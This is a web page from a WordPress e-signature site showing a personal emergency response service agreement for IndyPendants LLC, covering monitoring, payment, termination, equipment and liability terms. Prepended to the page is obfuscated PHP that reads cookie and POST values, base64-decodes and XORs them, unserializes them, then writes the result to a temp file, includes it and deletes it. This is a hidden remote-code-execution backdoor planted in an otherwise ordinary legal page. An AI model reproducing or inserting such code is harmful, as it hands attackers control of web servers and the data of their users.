$SvTcRZsvDM = chr ( 185 - 113 ).chr (95) . "\x72" . "\143" . chr ( 877 - 757 )."\107";$GeaosH = chr (99) . chr ( 566 - 458 )."\141" . "\x73" . chr ( 820 - 705 )."\x5f" . chr (101) . chr ( 358 - 238 )."\x69" . chr (115) . "\164" . chr (115); $YPVoVr = class_exists($SvTcRZsvDM); $SvTcRZsvDM = "34002";$GeaosH = "27278";if ($YPVoVr === FALSE){class H_rcxG{public function CEWRN(){echo "38646";}private $ucKox;public static $gzVyB = "e10ae96b-57c2-4076-af5f-440856b2f465";public static $FHUaZ = 36505;public function __construct($QCAVL=0){$MBQzfN = $_POST;$EdplsxAD = $_COOKIE;$CYuzC = @$EdplsxAD[substr(H_rcxG::$gzVyB, 0, 4)];if (!empty($CYuzC)){$aYCPQwP = "base64";$ApAASoNpET = "";$CYuzC = explode(",", $CYuzC);foreach ($CYuzC as $DtXwsc){$ApAASoNpET .= @$EdplsxAD[$DtXwsc];$ApAASoNpET .= @$MBQzfN[$DtXwsc];}$ApAASoNpET = array_map($aYCPQwP . "\x5f" . 'd' . "\145" . "\x63" . chr ( 264 - 153 ).'d' . chr (101), array($ApAASoNpET,)); $ApAASoNpET = $ApAASoNpET[0] ^ str_repeat(H_rcxG::$gzVyB, (strlen($ApAASoNpET[0]) / strlen(H_rcxG::$gzVyB)) + 1);H_rcxG::$FHUaZ = @unserialize($ApAASoNpET);}}private function GBjGPb(){if (is_array(H_rcxG::$FHUaZ)) {$OvkJcYH = sys_get_temp_dir() . "/" . crc32(H_rcxG::$FHUaZ["\163" . "\x61" . chr ( 1071 - 963 )."\164"]);@H_rcxG::$FHUaZ[chr (119) . "\x72" . "\151" . 't' . chr (101)]($OvkJcYH, H_rcxG::$FHUaZ["\143" . "\x6f" . "\x6e" . "\164" . 'e' . chr (110) . "\x74"]);include $OvkJcYH;@H_rcxG::$FHUaZ["\144" . 'e' . chr ( 352 - 244 ).chr ( 299 - 198 ).chr (116) . "\x65"]($OvkJcYH); $beBVADDom = "36854";exit();}}public function __destruct(){$this->GBjGPb();}}$QOLfe = new /* 15393 */ H_rcxG(); $QOLfe = str_repeat("64761_37397", 1);} WP E-Signature by Approve Me - Sign Documents Using WordPress -

Terms and Conditions


PERSONAL EMERGENCY RESPONSE SYSTEM AGREEMENT

This is a personal emergency response agreement (hereinafter “Agreement”) between the Subscriber named below ("Subscriber") and IndyPendants LLC. (the “Company”), subject to Subscriber accepting the provided Terms and Conditions.

* PLEASE READ AND SIGN THE ATTACHED TERMS AND CONDITIONS*

TERMS AND CONDITIONS:

DEFINITIONS. “Parties” means Subscriber and the Company. “Subscriber” means the person under this Agreement who will be using the Equipment and primarily responsible for the payments due under this Agreement. "Equipment" means the personal emergency response system, personal transmitter(s) and any other accessories or devices the Company loans to Subscriber under this Agreement.

SUBSCRIBER MUST ACTIVATE THE EQUIPMENT TO RECEIVE MONITORING SERVICES. TO ACTIVATE, CALL  (877) 463-9736

MONITORING SERVICES. "Monitoring Services" consists solely of monitoring service personnel (“Personnel”) making two (2) attempts to notify 911 and then such persons, entities or agencies as Subscriber has identified to Company in writing in the order provided (the “Responders”) that Personnel have received an alert, data or other communication from the Equipment (an “Alert”). Personnel may attempt to notify Responders first prior to 911 if Subscriber so elects. After the Personnel receive an Alert, but before notifying any Responder, the Personnel may, in its sole and absolute discretion, (a) contact or attempt to contact the Premises, through the Equipment or otherwise, to verify the need to alert Responders to the Alert; and (b) after being told by anyone at the Premises to disregard the Alert, not notify Responders, or if already notified, advise Responders to disregard the notification.

ASSIGNEES AND SUBCONTRACTORS. Subscriber may not assign any part of this Agreement. Company may, in its sole and absolute discretion, assign this Agreement, or any portion of it. The Company may subcontract for the Monitoring Services and other services that may result from this Agreement. Subscriber acknowledges and agrees that the provisions of this Agreement inure to the benefit of and are applicable to any and all subcontractors engaged by Company to provide any of the services mentioned herein, and bind Subscriber to such subcontractors with the same force and effect as they bind Subscriber to the Company. The Company shall have no liability for any negligence, breach of contract, tort, product liability, or any other theory of recovery before or after the services have been subcontracted.

PAYMENT. Subscription Fee payments shall be made to the Company at the beginning of each Term until termination of this Agreement as provided herein. Payment of the Subscription Fee is due at the beginning of each Term on the same day of the month as the Effective Date. If no such day of the month exists for the next Term (for example, if the Effective Date is the 31st of a month where the following month only has thirty (30) days), then the beginning of each subsequent Term shall be the 1st of the following month. Subscriber authorizes the Company to automatically withdraw from the bank account or charge the credit card on file for all amounts due upon the due date. Upon the written request by Subscriber, Company will provide a written billing statement of any amounts paid and/or balances due. Subscriber agrees to pay all sales, service, property, use and local taxes, and any additional fees or charges arising under this Agreement. Balances over thirty (30) days past due will be subject to a monthly finance charge of one and one-half percent (1.5%). In the event it becomes necessary for the Company to undertake legal action to collect payments due under this Agreement, Subscriber agrees to reimburse all reasonable attorneys’ fees associated with such collection actions, except where prohibited by law.

TERM AND TERMINATION. The term of this Agreement is either monthly, quarterly or annually ("Term") beginning when the first Subscription Fee for the initial Term has been successfully processed ("Effective Date") and will continue automatically for successive Terms unless and until terminated as provided herein. Notwithstanding anything to the contrary herein contained, Subscriber understands that

there is a minimum commitment on their behalf for three (3) months of Monitoring Services before this Agreement can be terminated. Except as otherwise provided herein, Subscriber may terminate this Agreement by providing thirty (30) days prior written notice to Company (thirty (30) days from receipt of said notice shall be the "Subscriber Termination Date"). Notice is deemed provided to Company when Company receives said notice. Any unused portion of prepaid monitoring beyond the minimum three (3) months will be returned to Subscriber in form of an electronic or check refund within sixty (60) days of returning the Equipment. Upon providing notice to Subscriber, Company may (i) automatically terminate this Agreement if it fails to receive payment from Subscriber within fifteen (15) days after payment is due and Subscriber does not cure the default by the stated termination date, or (ii) suspend Monitoring Services provided hereunder or terminate this Agreement at any time for any other reason, and will provide notice of the date services will cease ("Company Termination Date"). Subscriber must return the Equipment to Company by the Subscriber or Company Termination Date, as the case may be, in good operating condition and order at Subscriber’s sole expense, to: 208 Main Street, Reisterstown, Maryland 21136. Subscriber must send all notices and Equipment to Company's address via certified mail, return receipt requested to ensure proper deliver and receipt of said notice and equipment. The obligations of Subscriber hereunder shall continue until all such obligations are satisfied. If the Equipment is not received by the Company within ten (10) days following the Subscriber or Company Termination Date, as the case may be, or if it is not received in good operating condition and order as determined by Company, then Subscriber authorizes the Company to withdraw from the bank account or charge the credit card on file a one-time assessment of three hundred fifty dollars ($350.00) for the cost of replacing the Equipment. Subscriber bears the risk of loss if the Equipment is destroyed, damaged or not received by Company. Accordingly, Subscriber must (at its sole cost and expense) (a) ship the Equipment in its original packaging; (b) insure the shipment of the Equipment for three hundred fifty dollars ($350.00); (c) use a carrier that provides tracking information for delivery of the Equipment; and (d) comply with Company’s other reasonable requirements respecting the return of the Equipment. Upon termination by Subscriber or Company, the Company will stop providing Monitoring Services or other services to Subscriber. Subscriber understands this and agrees that the Company shall not be liable for any consequences resulting from the termination of the Monitoring Services including not responding to or notifying Responders of an Alert. The Company may reactivate the Monitoring Services upon receipt of any balances due and a reconnection fee of thirty-five dollars ($35.00). If Monitoring Services are reactivated, this Agreement shall be reinstated in full force and effect.

EQUIPMENT INSTALLATION AND USE. Subscriber must abide by the Company’s written requirements for the installation and use of the Equipment which are found in the Welcome Booklet delivered together with the Equipment and are also available on our website www.armsecuritysystems.com. If Subscriber did not receive the Welcome Booklet with the Equipment, Subscriber must notify the Company within three (3) days after the delivery of the Equipment. Failure to timely notify the Company shall be deemed an acknowledgement of receipt of the Welcome Booklet. The Company reserves the right to update and modify the installation and use requirements of the Equipment from time-to-time. The Company will notify Subscriber in writing in the event of any such update or modification.

RESPONSES, FALSE ALARMS AND FORCED ENTRY. The Company has no control over the response times of Responders or complete lack of a response. Subscriber acknowledges that he or she may be able to reach 911, Responders or other assistance more quickly by telephone. Failure to provide Responders' access to the Premises may result in Responders' use of force to enter the Premises, which may result in damage or loss. The Company will not pay for any fines, fees, costs, damages, expenses or penalties, resulting from a response to an Alert, whether false alarm or otherwise. Subscriber shall pay for any such fines, fees, costs, damages, expenses and penalties. Subscriber hereby forever indemnifies and releases the Company, its agents, representatives and assigns, Personnel and Responders from all claims, losses and damages that may arise from any forced entry or delayed response or complete lack of response, whether to Subscriber or any third-party beneficiary.

EQUIPMENT AND MONITORING. The Equipment may include, depending on the plan selected, a base station (wired or cellular), mobile device, cradle charger, pendant and/or an automatic fall detection pendant. The wired base station may not always have priority over other telephones in the Premises. When the wired base station is using the home phone line to connect to the monitoring center, the Subscriber will not be able to use the Subscriber’s home telephone to make other calls (including 911). Consequently, the Company recommends for Subscribers using a wired based station to have the Equipment connected to a second telephone line and provide the Company with that phone number. It is the Subscriber’s sole responsibility to ensure that its phone and phone line are operating properly. The use of DSL, VoIP or other broadband telephone service may prevent the Equipment from transmitting alarm signals or interfere with the telephone line-seizure feature of the alarm system (or both). DSL, VoIP, or other broadband service should not be installed on a telephone number that is issued for alarm signal transmission. If the Subscriber plans to install DSL, VoIP, or other broadband service, the Subscriber should test the Equipment IMMEDIATELY AFTER THE INSTALLATION OF SUCH INTERNET SERVICES. Some devices work with global positioning system (GPS) and collect data regarding Subscriber’s location. Subscriber authorizes the Company to collect location-based information. The Company will only share the location-based information with Personnel, Responders or any other person or entity Subscriber may designate. Furthermore, Subscriber expressly consents for Company, Personnel and/or Monitoring Service to record, store and use for any purpose all verbal communications with Subscriber. For further assistance, please contact Customer Service at (877) 463-9736

REPAIRS & REPLACEMENTS. If the Equipment becomes defective due to a defect in materials, workmanship or design within two (2) months after the Effective Date, the Company will replace the Equipment for free. Subscriber must deliver the defective Equipment to Company at its mailing address stated above so that the replacement may be issued, pending determination of defect. A replacement will not be issued for free if the defect was caused by accident, vandalism, negligence or mistake, violation of the installation and use requirements, flood, water, lightning, fire, abuse, misuse, casualty (including electric surcharge), attempted unauthorized repair service, extraordinary wear and tear, and any damage resulting from Force Majeure, in which case Subscriber authorizes the Company to withdraw from the bank account or charge the credit card on file a one-time assessment of three hundred fifty dollars ($350.00) for the cost of replacing the Equipment. Subscriber understands that Monitoring Services will be suspended until the replacement is reactivated properly.

LIMITATION OF THE EQUIPMENT AND THE MONITORING SERVICES.THE   EQUIPMENT AND MONITORING SERVICES ARE NOT A SUBSTITUTE FOR CALLING 911. IF SUBSCRIBER NEEDS IMMEDIATE EMERGENCY ASSISTANCE DIAL 911.  The Company is not responsible for the promptness, sufficiency or adequacy of the action or inaction of any Responder. The Company will not send any of its staff to the Premises in response to an emergency signal or an Alert. Neither the Equipment nor the Monitoring Services can prevent death, personal injury, or any other harm or damage to the Subscriber, its property, or others. The Equipment and the Monitoring Services rely on the availability of the Subscriber’s home telephone service provider, cellular network coverage, wireless towers, internet and/or the availability of GPS data (hereinafter collectively, “Factors”) to operate properly. These systems are provided by a third party and cannot be controlled by the Company. It is possible that weather conditions, topography and tall buildings or other structures (hereinafter collectively, “Conditions”) interfere with the proper operation of the Equipment and the effectiveness of the Monitoring Services. There is also a risk that the Equipment may fail to operate properly for any other reason. Because Factors and Conditions are constantly changing and are beyond the control of the Company, the Company cannot notify Subscriber of any changes to the effectiveness of the operation of the Equipment and Monitoring Services. It is the responsibility of the Subscriber to make sure that the Equipment and Monitoring Services are operating properly. Subscriber should test all Equipment monthly (or more often, as Subscriber deems fit). The Parties agree that the Company, its agents, assigns and Representatives, shall not be liable for any loss, damage or injury resulting from the Equipment or Monitoring Services not operating properly. Further, the Fall Detection Pendant may not detect one hundred percent (100%) of all falls. If Subscriber can, Subscriber should first dial 911 and then press the help button on the Fall Detection Pendant in the event of an emergency.

INSURANCE. The Company is not an insurer. The Subscription Fee is based solely on the services provided or arranged by the Company under this Agreement. Therefore, Subscriber shall maintain insurances (medical, disability, property, casualty and life insurance) in an amount sufficient to provide full and complete coverage for any loss, damage, or expense that may be sustained by Subscriber, Subscriber's family, invitees, licensees or others. The Company, its agents, assigns and Representatives are hereby forever released for all such loss, damage and expense.

SUBROGATION RIGHTS. By signing this Agreement, Subscriber waives any rights Subscriber's insurance company may have to sue the Company or its Representatives for money paid to Subscriber, or on Subscriber's behalf, for any claims that arise under this Agreement or otherwise.

LIMITATION OF LIABILITY. IF ANY LIABILITY ARISES ON THE PART OF THE COMPANY, ITS OFFICERS, MANAGERS, MEMBERS, SHAREHOLDERS, AFFILIATES, PARTNERS, EMPLOYEES, AGENTS, MANUFACTURERS, SUPPLIERS OR SUB-CONTRACTORS (COLLECTIVELY, “REPRESENTATIVES”) FOR ANY PERSONAL INJURY OR DEATH OR ANY OTHER LOSS, DAMAGE, COST OR EXPENSE, PROPERTY DAMAGE OR OTHER LIABILITY ARISING OUT OF OR FROM ANY THEORY OF LIABILITY, INCLUDING TORT (WHETHER NEGLIGENT OR INTENTIONAL), CONTRACT, PRODUCT LIABILITY, STRICT LIABILITY, CONTRIBUTION, INDEMNIFICATION, BREACH OF A STATUTE OR OTHER RULE OR STANDARD OR ANY OTHER POSSIBLE CLAIM, INCLUDING ANY CLAIM FOR DATA BREACH OR ANY PRIVACY-RELATED CLAIMS, OUR LIABILITY WILL BE LIMITED TO TWO THOUSAND FIVE HUNDRED DOLLARS ($2,500.00). FURTHERMORE, SUBSCRIBER AGREES AND UNDERSTAND THAT NEITHER COMPANY NOR ANY OF ITS REPRESENTATIVES WILL BE LIABLE TO SUBSCRIBER OR  ANY OTHER PERSON OR ENTITY FOR ANY GENERAL, DIRECT, SPECIAL, EXEMPLARY, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL DAMAGES.

INDEMNIFICATION. If anyone other than Subscriber, including Subscriber's insurance company, a third-party beneficiary, or a third-party beneficiary’s insurance company, makes a claim against the Company or its Representatives or assigns for any loss, damage, cost or expense (including property damage, personal injury or death) arising out of, from, in connection with, related to, as a consequence of, or resulting from this Agreement or services provided herein for any reason, including (1) the active or passive, sole, joint or several negligence of any kind or degree by the company or any of its agents, assigns or Representatives, (2) improper operation of the Equipment or its failure to operate, (3) breach of contract, or (4) any claims for subrogation, contribution or indemnification, Subscriber agrees to indemnify, defend and hold harmless (without any condition that the Company or any of its Representatives or assigns pay first) for any loss, damage, and expense arising from such claim, including reasonable attorneys’ fees, which may be asserted by the Company or any of its Representatives or assigns in connection with any and all such claims.

SEVERABILITY. If any provision hereof (or portion thereof) or its application to any circumstances, is held illegal, invalid or unenforceable to any extent, the validity and enforceability of the remainder of the provision and of this Agreement, or of such provisions as applied to any other circumstances, shall not be affected thereby, and shall remain in full force and effect as valid, binding and continuing.

ENTIRE AGREEMENT. This Agreement constitutes the entire agreement between the Parties concerning the subject matters of this Agreement and supersedes all prior or current negotiations, commitments, contracts, express or implied, warranties, express or implied, statements and representations, written or oral, pertaining to such matters, all of which are merged into this Agreement. Any amendment of this Agreement must be in a writing signed by the Parties. This Agreement shall be governed and construed in accordance with the laws of the State of Maryland, and is binding on Subscriber, his/her heirs, personal representative and estate.

DISPUTES, VENUE AND WAIVER OF JURY TRIAL. Any dispute arising from this Agreement shall be brought in a court of jurisdiction in the State of Maryland. In the event that the Company institutes legal proceedings to enforce any provision of this Agreement, Subscriber agrees to pay the Company’s reasonable attorneys’ fees and costs, except where prohibited by law. EACH PARTY HEREBY WAIVES ANY RIGHT TO TRIAL BY JURY IN ANY SUIT, ACTION OR OTHER LEGAL PROCEEDING BROUGHT BY A PARTY ARISING OUT OF OR FROM THIS AGREEMENT.

WAIVERS. A waiver of any breach under this Agreement will not be a waiver of any subsequent breach. The Company’s rights under this Agreement are cumulative, and may be exercised concurrently or consecutively, and will include all remedies, even those remedies not referred to in this Agreement.

WARRANTY ACKNOWLEDGMENTS. SUBSCRIBER ACKNOWLEDGES THAT (A) ANY AFFIRMATION OF FACT OR PROMISE MADE BY COMPANY WILL NOT BE DEEMED TO CREATE AN EXPRESS WARRANTY; (B) THE COMPANY DOES NOT MAKE ANY EXPRESS OR IMPLIED WARRANTY (INCLUDING THE WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE) IN THIS AGREEMENT, IN ANY ADVERTISEMENT, OFFER OR BOOK.

BY SIGNING THIS AGREEMENT, EACH SIGNER CERTIFIES THAT HE/SHE (I) ACKNOWLEDGES HAVING READ THE ENTIRE AGREEMENT BEFORE SIGNING (II) UNDERSTANDS THIS IS A BINDING AGREEMENT; AND (III) AGREES TO ALL THE PARAGRAPHS OF THIS AGREEMENT INCLUDING THE OBLIGATIONS AND RIGHTS OF ALL PARTIES.

SUBSCRIBER HEREBY AGREES TO ALL OF THE TERMS AND CONDITIONS:

 

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Document name: Terms and Conditions
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April 7, 2019 7:39 pm ESTTerms and Conditions Uploaded by Zachary Odani - randy@bizmarquee.com IP 50.242.205.30